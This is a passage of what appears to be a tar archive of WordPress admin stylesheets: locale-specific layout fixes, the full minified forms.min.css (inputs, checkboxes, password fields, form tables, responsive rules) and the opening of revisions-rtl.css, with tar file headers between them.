165px; /* default 180px - 15px */ } .locale-ru-ru.press-this .posting { margin-left: 277px; /* default 252px + 25px */ } .locale-ru-ru .press-this-sidebar { width: 265px; /* default 240px + 25px */ } .locale-ru-ru #customize-header-actions .button { padding: 0 5px 1px; /* default 0 10px 1px */ } .locale-ru-ru #customize-header-actions .spinner { margin: 16px 3px 0; /* default 16px 4px 0 5px */ } /* lt_LT: QuickEdit */ .locale-lt-lt .inline-edit-row fieldset label span.title, .locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend { width: 8em; /* default 6em */ } .locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap, .locale-lt-lt .inline-edit-row fieldset .timestamp-wrap { margin-right: 8em; /* default 6em */ } /* Fix overridden width for adjusted locales */ body[class*="locale-de-"] .quick-edit-row-post fieldset.inline-edit-col-right label span.title, .locale-ru-ru .quick-edit-row-post fieldset.inline-edit-col-right label span.title, .locale-lt-lt .quick-edit-row-post fieldset.inline-edit-col-right label span.title { width: auto; } @media screen and (max-width: 782px) { body[class*="locale-de-"] .inline-edit-row fieldset label span.input-text-wrap, body[class*="locale-de-"] .inline-edit-row fieldset .timestamp-wrap, .locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap, .locale-ru-ru .inline-edit-row fieldset .timestamp-wrap, .locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap, .locale-lt-lt .inline-edit-row fieldset .timestamp-wrap { margin-right: 0; } } css/forms.min.css 0000644 00000074305 15233246127 0007774 0 ustar 00 /*! This file is auto-generated */ button,input,select,textarea{box-sizing:border-box;font-family:inherit;font-size:inherit;font-weight:inherit}input,textarea{font-size:14px}textarea{overflow:auto;padding:8px 12px;line-height:1.42857143;resize:vertical}input,select{margin:0 1px}textarea.code{padding:8px 12px}input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],select,textarea{box-shadow:0 0 0 transparent;border-radius:2px;border:1px solid #949494;background-color:#fff;color:#1e1e1e}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{padding:0 12px;min-height:40px}select{padding:0 24px 0 12px;line-height:2.71428571;min-height:40px}::-webkit-datetime-edit{line-height:1.85714286}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:2px solid transparent}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.ltr,input[type=email],input[type=password],input[type=url]{direction:ltr}input[type=checkbox],input[type=radio]{border:1px solid #1e1e1e;border-radius:2px;background:#fff;color:#1e1e1e;clear:none;cursor:pointer;display:inline-block;line-height:0;height:1rem;margin:-.25rem .25rem 0 0;outline:0;padding:0!important;text-align:center;vertical-align:middle;width:1rem;min-width:1rem;-webkit-appearance:none;box-shadow:none;transition:.05s border-color ease-in-out}input[type=radio]:checked+label:before{color:#949494}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#135e96}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio],td>input[type=checkbox]{margin-top:0}.wp-admin p label input[type=checkbox]{margin-top:-4px}.wp-admin p label input[type=radio]{margin-top:-2px}input[type=radio]{display:inline-flex;border-radius:50%;margin-right:.25rem;align-items:center;justify-content:center}input[type=checkbox]:checked::before,input[type=radio]:checked::before{float:left;display:inline-block;vertical-align:middle;width:1rem;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E");content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E")/'';margin:-.1875rem 0 0 -.25rem;height:1.3125rem;width:1.3125rem}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked::before{content:"";border-radius:50%;width:.5rem;height:.5rem;margin:auto;background-color:#fff;outline:4px solid transparent}@-moz-document url-prefix(){.form-table input.tog,input[type=checkbox],input[type=radio]{margin-bottom:-1px}}input[type=search]{-webkit-appearance:textfield}input[type=search]::-webkit-search-decoration{display:none}input[type=search]::-webkit-search-cancel-button{cursor:pointer}.wp-admin input[type=file]{padding:3px 0;cursor:pointer}input.readonly,input[readonly],textarea.readonly,textarea[readonly]{background-color:#f0f0f0}::-webkit-input-placeholder{color:#757575}::-moz-placeholder{color:#757575}.form-invalid .form-required,.form-invalid .form-required:focus,.form-invalid.form-required input,.form-invalid.form-required input:focus,.form-invalid.form-required select,.form-invalid.form-required select:focus{border-color:#d63638!important;box-shadow:0 0 2px rgba(214,54,56,.8)}.form-table .form-required.form-invalid td:after{content:"\f534";content:"\f534"/'';font:normal 20px/1 dashicons;color:#d63638;margin-left:-25px;vertical-align:middle}.form-table .form-required.user-pass1-wrap.form-invalid td:after{content:""}.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after{content:"\f534";content:"\f534"/'';font:normal 20px/1 dashicons;color:#d63638;margin:0 6px 0 -29px;vertical-align:middle}.form-input-tip{color:#646970}input.disabled,input:disabled,select.disabled,select:disabled,textarea.disabled,textarea:disabled{background:#f0f0f0;border-color:#ccc;box-shadow:none;color:#949494}input[type=file].disabled,input[type=file]:disabled,input[type=file][aria-disabled=true],input[type=range].disabled,input[type=range]:disabled,input[type=range][aria-disabled=true]{background:0 0;box-shadow:none;cursor:default}input[type=checkbox].disabled,input[type=checkbox].disabled:checked:before,input[type=checkbox]:disabled,input[type=checkbox]:disabled:checked:before,input[type=checkbox][aria-disabled=true],input[type=radio].disabled,input[type=radio].disabled:checked:before,input[type=radio]:disabled,input[type=radio]:disabled:checked:before,input[type=radio][aria-disabled=true]{opacity:.7;cursor:default}.wp-core-ui select{font-size:14px;line-height:2.71428571;color:#1e1e1e;border-color:#949494;box-shadow:none;border-radius:2px;padding:0 24px 0 12px;min-height:40px;max-width:25rem;-webkit-appearance:none;background:#fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%231e1e1e%22%2F%3E%3C%2Fsvg%3E') no-repeat right 8px top 55%;background-size:16px 16px;cursor:pointer;vertical-align:middle}.wp-core-ui select:hover{color:#1e1e1e;border-color:#1e1e1e}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);color:#1e1e1e;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui select:active{border-color:#949494;box-shadow:none}.wp-core-ui select.disabled,.wp-core-ui select:disabled{color:#a7aaad;border-color:#dcdcde;background-color:#f6f7f7;background-image:url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E');box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.wp-core-ui select[aria-disabled=true]{cursor:default}.wp-core-ui select:-moz-focusring{color:transparent;text-shadow:0 0 0 #0a4b78}.wp-core-ui select::-ms-value{background:0 0;color:#50575e}.wp-core-ui select:hover::-ms-value{color:#1e1e1e}.wp-core-ui select:focus::-ms-value{color:#0a4b78}.wp-core-ui select.disabled::-ms-value,.wp-core-ui select:disabled::-ms-value{color:#a7aaad}.wp-core-ui select::-ms-expand{display:none}.wp-admin .button-cancel{display:inline-block;min-height:28px;padding:0 5px;line-height:2}.meta-box-sortables select{max-width:100%}.meta-box-sortables input{vertical-align:middle}.misc-pub-post-status select{margin-top:0}.wp-core-ui select[multiple]{height:auto;padding-right:8px;background:#fff}.submit{padding:1.5em 0;margin:5px 0;border-bottom-left-radius:3px;border-bottom-right-radius:3px;border:none}form p.submit a.cancel:hover{text-decoration:none}p.submit{text-align:left;max-width:100%;margin-top:20px;padding-top:10px}.textright p.submit{border:none;text-align:right}table.form-table+input+input+p.submit,table.form-table+input+p.submit,table.form-table+p.submit{border-top:none;padding-top:0}#major-publishing-actions input,#minor-publishing-actions .preview,#minor-publishing-actions input{text-align:center}input.all-options,textarea.all-options{width:250px}input.large-text,textarea.large-text{width:99%}.regular-text{width:25em}input.small-text{width:50px;padding:0 8px}label input.small-text{margin-top:-4px}input[type=number].small-text{width:65px;padding-right:4px}input.tiny-text{width:35px}input[type=number].tiny-text{width:45px;padding-right:0}#doaction,#doaction2,#post-query-submit{margin:0 8px 0 0}.no-js input#changeit2,.no-js input#doaction2,.no-js label[for=bulk-action-selector-bottom],.no-js label[for=new_role2],.no-js select#bulk-action-selector-bottom,.no-js select#new_role2{display:none}.wp-core-ui .tablenav input[type=date],.wp-core-ui .tablenav input[type=datetime-local],.wp-core-ui .tablenav input[type=datetime],.wp-core-ui .tablenav input[type=email],.wp-core-ui .tablenav input[type=month],.wp-core-ui .tablenav input[type=number],.wp-core-ui .tablenav input[type=password],.wp-core-ui .tablenav input[type=search],.wp-core-ui .tablenav input[type=tel],.wp-core-ui .tablenav input[type=text],.wp-core-ui .tablenav input[type=time],.wp-core-ui .tablenav input[type=url],.wp-core-ui .tablenav input[type=week],.wp-core-ui .tablenav select{padding:0 12px;line-height:2.14285714;min-height:32px}.wp-core-ui .tablenav select{float:left;margin-right:6px;max-width:12.5rem;padding:0 24px 0 8px}.wp-core-ui .tablenav .button{min-height:32px;line-height:2.30769231;padding:0 12px}#timezone_string option{margin-left:1em}.wp-core-ui .button.wp-cancel-pw>.dashicons,.wp-core-ui .button.wp-hide-pw>.dashicons{width:1.25rem;height:1.25rem;font-size:20px;line-height:1;vertical-align:middle}.button.wp-hide-pw.user-new-password-toggle{display:inline-flex;align-items:center;column-gap:4px}.wp-cancel-pw .dashicons-no{display:none}#your-profile label+a,label{vertical-align:middle}#your-profile label+a,fieldset label{vertical-align:middle}.options-media-php [for*="_size_"]{min-width:10em;vertical-align:baseline}.options-media-php .small-text[name*="_size_"]{margin:0 0 1em}.wp-generate-pw{margin-top:1em;position:relative}.wp-pwd button{height:min-content}.wp-pwd{margin-top:1em;position:relative}.mailserver-pass-wrap .wp-pwd{display:inline-block;margin-top:0}#mailserver_pass{padding-right:2.5rem}.mailserver-pass-wrap .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:2;width:2.5rem;min-width:40px;margin:0;padding:0 9px;position:absolute;right:0;top:0}.mailserver-pass-wrap .button.wp-hide-pw:hover{background:0 0;border-color:transparent}.mailserver-pass-wrap .button.wp-hide-pw:focus{background:0 0;border-color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid transparent}.mailserver-pass-wrap .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}#misc-publishing-actions label{vertical-align:baseline}#pass-strength-result{background-color:#f0f0f0;border:1px solid #ccc;border-radius:2px;color:#1e1e1e;margin:-1px 1px 5px;padding:3px 5px;text-align:center;width:25em;box-sizing:border-box;opacity:0}#pass-strength-result.short{background-color:#ffabaf;border-color:#e65054;opacity:1}#pass-strength-result.bad{background-color:#facfd2;border-color:#f86368;opacity:1}#pass-strength-result.good{background-color:#f5e6ab;border-color:#f0c33c;opacity:1}#pass-strength-result.strong{background-color:#b8e6bf;border-color:#68de7c;opacity:1}.password-input-wrapper{display:inline-block}.password-input-wrapper input{font-family:Consolas,Monaco,monospace}#pass1-text.short,#pass1.short{border-color:#e65054}#pass1-text.bad,#pass1.bad{border-color:#f86368}#pass1-text.good,#pass1.good{border-color:#f0c33c}#pass1-text.strong,#pass1.strong{border-color:#68de7c}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid transparent}.pw-weak{display:none}.indicator-hint{padding-top:8px}.wp-pwd [type=password],.wp-pwd [type=text]{margin-bottom:0;min-height:40px}.wp-pwd input::-ms-reveal{display:none}#pass1-text,.show-password #pass1{display:none}#pass1-text::-ms-clear{display:none}.show-password #pass1-text{display:inline-block}.wp-pwd .caps-warning{display:none;position:relative;background:#fcf9e8;border:1px solid #f0c33c;color:#1d2327;padding:6px 10px;top:-8px}.profile-php .wp-pwd .caps-warning{padding:3px 5px;top:-4px;border-radius:2px}.wp-pwd .caps-icon{display:inline-flex;justify-content:center;width:20px;height:20px;margin-right:5px;vertical-align:middle}.wp-pwd .caps-warning-text{vertical-align:middle}p.search-box{display:flex;flex-wrap:wrap;align-items:center;column-gap:.5rem;position:relative;float:right;margin:11px 0}p.search-box input[type=search],p.search-box input[type=text]{min-height:32px;padding:0 8px}p.search-box .button{min-height:32px;line-height:2.30769231;padding:0 12px}.network-admin.themes-php p.search-box{clear:left}.tablenav .search-plugins input[name="s"]{float:left;margin:0 4px 0 0}.tagsdiv .newtag{margin:0}.js.plugins-php .search-box .wp-filter-search{margin:0;width:280px}input[type=email].ui-autocomplete-loading,input[type=text].ui-autocomplete-loading{background-image:url(../images/loading.gif);background-repeat:no-repeat;background-position:right 5px center;visibility:visible}input.ui-autocomplete-input.open{border-bottom-color:transparent}ul#add-to-blog-users{margin:0 0 0 14px}.ui-autocomplete{padding:0;margin:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;box-shadow:0 1px 2px rgba(79,148,212,.8);background-color:#fff}.ui-autocomplete li{margin-bottom:0;padding:4px 10px;white-space:nowrap;text-align:left;cursor:pointer}.ui-autocomplete .ui-state-focus{background-color:#dcdcde}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color);color:#fff;outline:2px solid transparent}.form-table{border-collapse:collapse;margin-top:.5em;width:100%;clear:both}.form-table,.form-table td,.form-table td p,.form-table th{font-size:14px}.form-table td{margin-bottom:9px;padding:15px 10px;line-height:1.3;vertical-align:middle}.form-table th,.form-wrap label{color:#1d2327;font-weight:400;text-shadow:none;vertical-align:baseline}.form-table th{vertical-align:top;text-align:left;padding:20px 10px 20px 0;width:200px;line-height:1.3;font-weight:600}.form-table .td-full,.form-table th.th-full{width:auto;padding:20px 10px 20px 0;font-weight:400}.form-table td p{margin-top:4px;margin-bottom:0}.form-table .date-time-doc{margin-top:1em}.form-table p.timezone-info{margin:1em 0;display:flex;flex-direction:column}#local-time{margin-top:.5em}.form-table td fieldset label{margin:.35em 0 .5em!important;display:inline-block}.form-table td fieldset p label{margin-top:0!important}.form-table td fieldset label,.form-table td fieldset li,.form-table td fieldset p{line-height:1.4}.form-table .pre{padding:8px;margin:0}table.form-table td .updated{font-size:13px}table.form-table td .updated p{font-size:13px;margin:.3em 0}#profile-page .form-table textarea{width:500px;margin-bottom:6px}#profile-page .form-table #rich_editing{margin-right:5px}#your-profile legend{font-size:22px}#display_name{width:15em}#adduser .form-field input,#createuser .form-field input{width:25em}.color-option{display:inline-block;width:24%;padding:5px 15px 15px;box-sizing:border-box;margin-bottom:3px}.color-option.selected,.color-option:hover{background:#dcdcde}.color-palette{display:table;width:100%;border-spacing:0;border-collapse:collapse}.color-palette .color-palette-shade,.color-palette td{display:table-cell;height:20px;padding:0;border:none}.color-option{cursor:pointer}.create-application-password .form-field{max-width:25em}.create-application-password label{font-weight:600}.create-application-password p.submit{margin-bottom:0;padding-bottom:0;display:block}#application-passwords-section .notice{margin-top:20px;margin-bottom:0;word-wrap:break-word}.application-password-display input.code{margin-bottom:6px;width:100%;max-width:20em}.auth-app-card.card{max-width:768px}.authorize-application-php .form-wrap p{display:block}.tool-box .title{margin:8px 0;font-size:18px;font-weight:400;line-height:24px}.label-responsive{vertical-align:middle}#export-filters p{margin:0 0 1em}#export-filters p.submit{margin:7px 0 5px}.card{position:relative;margin-top:20px;padding:16px 24px;min-width:255px;max-width:520px;border:1px solid rgb(0,0,0,.1);border-radius:8px;background:#fff;box-sizing:border-box}.pressthis h4{margin:2em 0 1em}.pressthis textarea{width:100%;font-size:1em}#pressthis-code-wrap{overflow:auto}.pressthis-bookmarklet-wrapper{margin:20px 0 8px;vertical-align:top;position:relative;z-index:1}.pressthis-bookmarklet,.pressthis-bookmarklet:active,.pressthis-bookmarklet:focus,.pressthis-bookmarklet:hover{display:inline-block;position:relative;cursor:move;color:#2c3338;background:#dcdcde;border-radius:5px;border:1px solid #c3c4c7;font-style:normal;line-height:16px;font-size:14px;text-decoration:none}.pressthis-bookmarklet:active{outline:0}.pressthis-bookmarklet:after{content:"";width:70%;height:55%;z-index:-1;position:absolute;right:10px;bottom:9px;background:0 0;transform:skew(20deg) rotate(6deg);box-shadow:0 10px 8px rgba(0,0,0,.6)}.pressthis-bookmarklet:hover:after{transform:skew(20deg) rotate(9deg);box-shadow:0 10px 8px rgba(0,0,0,.7)}.pressthis-bookmarklet span{display:inline-block;margin:0;padding:0 12px 8px 9px}.pressthis-bookmarklet span:before{color:#787c82;font:normal 20px/1 dashicons;content:"\f157";content:"\f157"/'';position:relative;display:inline-block;top:4px;margin-right:4px}.pressthis-js-toggle{margin-left:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle.button.button{margin-left:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle .dashicons{margin:5px 8px 6px 7px;color:#50575e}.timezone-info code{white-space:nowrap}.defaultavatarpicker .avatar{margin:2px 0;vertical-align:middle}.options-general-php .date-time-text{display:inline-block;min-width:10em}.options-general-php input.small-text{width:56px;margin:-2px 0;min-height:32px}.options-general-php .spinner{float:none;margin:-3px 3px 0}.options-general-php .language-install-spinner,.profile-php .language-install-spinner,.settings-php .language-install-spinner,.user-edit-php .language-install-spinner{display:inline-block;float:none;margin:-3px 5px 0;vertical-align:middle}.form-table.permalink-structure .available-structure-tags{margin-top:8px}.form-table.permalink-structure .available-structure-tags ul{display:flex;flex-wrap:wrap;margin:8px 0 0}.form-table.permalink-structure .available-structure-tags li{margin:6px 5px 0 0}.form-table.permalink-structure .available-structure-tags li:last-child{margin-right:0}.form-table.permalink-structure .structure-selection .row{margin-bottom:16px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 24px);display:inline-flex;flex-direction:column}.form-table.permalink-structure .structure-selection .row label{font-weight:600}.form-table.permalink-structure .structure-selection .row p{margin-top:0}.permalink-structure-optional-description code{display:inline-block}.setup-php textarea{max-width:100%}.form-field #site-address{max-width:25em}.form-field #domain{max-width:22em}.form-field #admin-email,.form-field #blog_last_updated,.form-field #blog_registered,.form-field #path,.form-field #site-title{max-width:25em}.form-field #path{margin-bottom:5px}#search-sites,#search-users{max-width:60%}.configuration-rules-label{font-weight:600;margin-bottom:4px}.request-filesystem-credentials-dialog{display:none;visibility:visible}.request-filesystem-credentials-dialog .notification-dialog{top:10%;max-height:85%}.request-filesystem-credentials-dialog-content{margin:25px}#request-filesystem-credentials-title{font-size:1.3em;margin:1em 0}.request-filesystem-credentials-form legend{font-size:1em;padding:1.33em 0;font-weight:600}.request-filesystem-credentials-form input[type=password],.request-filesystem-credentials-form input[type=text]{display:block}.request-filesystem-credentials-dialog input[type=password],.request-filesystem-credentials-dialog input[type=text]{width:100%}.request-filesystem-credentials-form .field-title{font-weight:600}.request-filesystem-credentials-dialog label[for=hostname],.request-filesystem-credentials-dialog label[for=private_key],.request-filesystem-credentials-dialog label[for=public_key]{display:block;margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:left;width:48%}.request-filesystem-credentials-dialog .ftp-password{margin-left:4%}.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons{text-align:right}.request-filesystem-credentials-dialog label[for=ftp]{margin-right:10px}.request-filesystem-credentials-dialog #auth-keys-desc{margin-bottom:0}#request-filesystem-credentials-dialog .button:not(:last-child){margin-right:10px}#request-filesystem-credentials-form .cancel-button{display:none}#request-filesystem-credentials-dialog .cancel-button{display:inline}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:none;width:auto}.request-filesystem-credentials-dialog .ftp-username{margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password{margin:0}.request-filesystem-credentials-dialog .ftp-password em{color:#757575}.request-filesystem-credentials-dialog label{display:block;line-height:1.5;margin-bottom:1em}.request-filesystem-credentials-form legend{padding-bottom:0}.request-filesystem-credentials-form #ssh-keys legend{font-size:1.3em}.request-filesystem-credentials-form .notice{margin:0 0 20px;clear:both}.tools-privacy-policy-page form{margin-bottom:1.3em}.tools-privacy-policy-page input.button{margin:0 1px 0 6px}.tools-privacy-policy-page select{margin:0 1px .5em 6px}.tools-privacy-edit{margin:1.5em 0}.tools-privacy-policy-page span{line-height:2}.privacy_requests .column-email{width:40%}.privacy_requests .column-type{text-align:center}.privacy_requests tfoot td:first-child,.privacy_requests thead td:first-child{border-left:4px solid #fff}.privacy_requests tbody th{border-left:4px solid #fff;background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests .row-actions{color:#787c82}.privacy_requests .row-actions.processing{position:static}.privacy_requests tbody .has-request-results th{box-shadow:none}.privacy_requests tbody .request-results th .notice{margin:0 0 5px}.privacy_requests tbody td{background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests tbody .has-request-results td{box-shadow:none}.privacy_requests .next_steps .button{word-wrap:break-word;white-space:normal}.privacy_requests .status-request-confirmed td,.privacy_requests .status-request-confirmed th{background-color:#fff;border-left-color:#72aee6}.privacy_requests .status-request-failed td,.privacy_requests .status-request-failed th{background-color:#f6f7f7;border-left-color:#d63638}.privacy_requests .export_personal_data_failed a{vertical-align:baseline}.status-label{font-weight:600}.status-label.status-request-pending{font-weight:400;font-style:italic;color:#646970}.status-label.status-request-failed{color:#d63638;font-weight:600}.privacy_requests .status-date{display:block;font-weight:400}.wp-privacy-request-form{clear:both}.wp-privacy-request-form-field{margin:1.5em 0}.wp-privacy-request-form input{margin:0}@media screen and (max-width:782px){textarea{-webkit-appearance:none}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{-webkit-appearance:none;padding:0 12px;min-height:40px}::-webkit-datetime-edit{line-height:1.875}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox],input[type=checkbox]{-webkit-appearance:none}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox]{margin-bottom:8px}.widefat tfoot td input[type=checkbox]:before,.widefat th input[type=checkbox]:before,.widefat thead td input[type=checkbox]:before,input[type=checkbox]:checked:before{width:1.875rem;height:1.875rem;margin:-.1875rem -.3125rem}input[type=checkbox],input[type=radio]{height:1.5625rem;width:1.5625rem}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio]{margin-top:-.1875rem}input[type=radio]:checked:before{vertical-align:middle;width:.5625rem;height:.5625rem;margin:.4375rem;line-height:.76190476}.wp-admin .form-table select,.wp-core-ui select{min-height:40px;font-size:16px;line-height:2.5;padding:0 24px 0 12px}.wp-admin .button-cancel{margin-bottom:0;padding:2px 0;font-size:14px;vertical-align:middle}#adduser .form-field input,#createuser .form-field input{width:100%}.form-table{box-sizing:border-box}.form-table td,.form-table th,.label-responsive{display:block;width:auto;vertical-align:middle}.label-responsive{margin:.5em 0}.export-filters li{margin-bottom:0}.form-table .color-palette .color-palette-shade,.form-table .color-palette td{display:table-cell;width:15px;height:30px;padding:0}.form-table .color-palette{margin-right:10px}input,textarea{font-size:16px}#profile-page .form-table textarea,.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td select,.form-table td textarea{width:100%;display:block;max-width:none;box-sizing:border-box}.form-table .form-required.form-invalid td:after{float:right;margin:-30px 3px 0 0}.form-table input[type=text].small-text,input[type=number].small-text,input[type=password].small-text,input[type=search].small-text,input[type=text].small-text{width:auto;max-width:4.375em;display:inline;padding:3px 6px;margin:0 3px}.form-table .regular-text~input[type=text].small-text{margin-top:5px}#pass-strength-result{width:100%;box-sizing:border-box;padding:8px}.profile-php .wp-pwd .caps-warning{padding:8px}.password-input-wrapper{display:block}.wp-core-ui .tablenav input[type=date],.wp-core-ui .tablenav input[type=datetime-local],.wp-core-ui .tablenav input[type=datetime],.wp-core-ui .tablenav input[type=email],.wp-core-ui .tablenav input[type=month],.wp-core-ui .tablenav input[type=number],.wp-core-ui .tablenav input[type=password],.wp-core-ui .tablenav input[type=search],.wp-core-ui .tablenav input[type=tel],.wp-core-ui .tablenav input[type=text],.wp-core-ui .tablenav input[type=time],.wp-core-ui .tablenav input[type=url],.wp-core-ui .tablenav input[type=week],.wp-core-ui .tablenav select{min-height:40px}.wp-core-ui .tablenav .button{min-height:40px;line-height:2.71428571;padding:0 14px}p.search-box{float:none;width:100%;margin-bottom:20px;display:flex}p.search-box input[name="s"]{width:100%;float:none;margin-bottom:10px;vertical-align:middle}.js.plugins-php .search-box .wp-filter-search{width:100%;margin-bottom:0}p.search-box input[type=search],p.search-box input[type=text]{min-height:40px;padding:0 12px}p.search-box input[type=submit].button{margin-bottom:10px}.form-table span.description{display:inline;padding:4px 0 0;line-height:1.4;font-size:14px}.form-table th{padding:10px 0 0;border-bottom:0}.form-table td{margin-bottom:0;padding:4px 0 6px}.form-table.permalink-structure td code{display:inline-block}.form-table.permalink-structure .structure-selection{margin-top:8px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 36px);width:100%}.form-table.permalink-structure td input[type=text]{margin-top:4px}.permalink-structure-has-blog-prefix{display:flex;align-items:center}.form-table input.regular-text{width:100%}.form-table label{font-size:14px}.form-table td>label:first-child{display:inline-block;margin-top:.35em}.background-position-control .button-group>label{font-size:0}.form-table fieldset label{display:block}.form-field #domain{max-width:none}.wp-pwd{position:relative}#profile-page .form-table #pass1{padding-right:90px}.wp-pwd button.button{background:0 0;border:1px solid transparent;box-shadow:none;line-height:2;margin:0;padding:5px 9px;position:absolute;right:0;top:0;width:2.375rem;height:2.375rem;min-width:40px;min-height:40px}.wp-pwd button.wp-hide-pw{right:2.5rem}body.user-new-php .wp-pwd button.wp-hide-pw{right:0}.wp-pwd button.button:focus,.wp-pwd button.button:hover{background:0 0}.wp-pwd button.button:active{background:0 0;box-shadow:none;transform:none}.wp-pwd .button .text{display:none}.wp-pwd [type=password],.wp-pwd [type=text]{line-height:2;padding-right:5rem}body.user-new-php .wp-pwd [type=password],body.user-new-php .wp-pwd [type=text]{padding-right:2.5rem}.wp-cancel-pw .dashicons-no{display:inline-block}.mailserver-pass-wrap .wp-pwd{display:block}#mailserver_pass{padding-left:10px}.options-general-php input[type=text].small-text{max-width:6.25em;margin:0;min-height:40px}.tools-privacy-policy-page form.wp-create-privacy-page{margin-bottom:1em}.tools-privacy-policy-page input#set-page,.tools-privacy-policy-page select{margin:10px 0 0}.tools-privacy-policy-page .wp-create-privacy-page span{display:block;margin-bottom:1em}.tools-privacy-policy-page .wp-create-privacy-page .button{margin-left:0}.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column){display:table-cell}.wp-list-table.privacy_requests.widefat th input,.wp-list-table.privacy_requests.widefat thead td input{margin-left:5px}.wp-privacy-request-form-field input[type=text]{width:100%;margin-bottom:10px;vertical-align:middle}.regular-text{max-width:100%}}@media only screen and (max-width:768px){.form-field input[type=email],.form-field input[type=password],.form-field input[type=text],.form-field select,.form-field textarea{width:99%}.form-wrap .form-field{padding:0}}@media only screen and (max-height:480px),screen and (max-width:450px){.file-editor-warning .notification-dialog,.request-filesystem-credentials-dialog .notification-dialog{width:100%;height:100%;max-height:100%;position:fixed;top:0;margin:0;left:0}}@media screen and (max-width:600px){.color-option{width:49%}}@media only screen and (max-width:320px){.options-general-php .date-time-text.date-time-custom-text{min-width:0;margin-right:.5em}}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(359deg)}} css/revisions-rtl.css 0000644 00000025017 15233246127 0010700 0 ustar 00 /*! This file is auto-generated */ /*------------------------------------------------------------------------------ 11.2 - Post Revisions ------------------------------------------------------------------------------*/ .revisions-control-frame, .revisions-diff-frame { position: relative; } .revisions-diff-frame { top: 10px; } .revisions-controls { padding-top: 40px; z-index: 1; } .revisions-controls input[type="checkbox"] { position: relative; top: -1px; 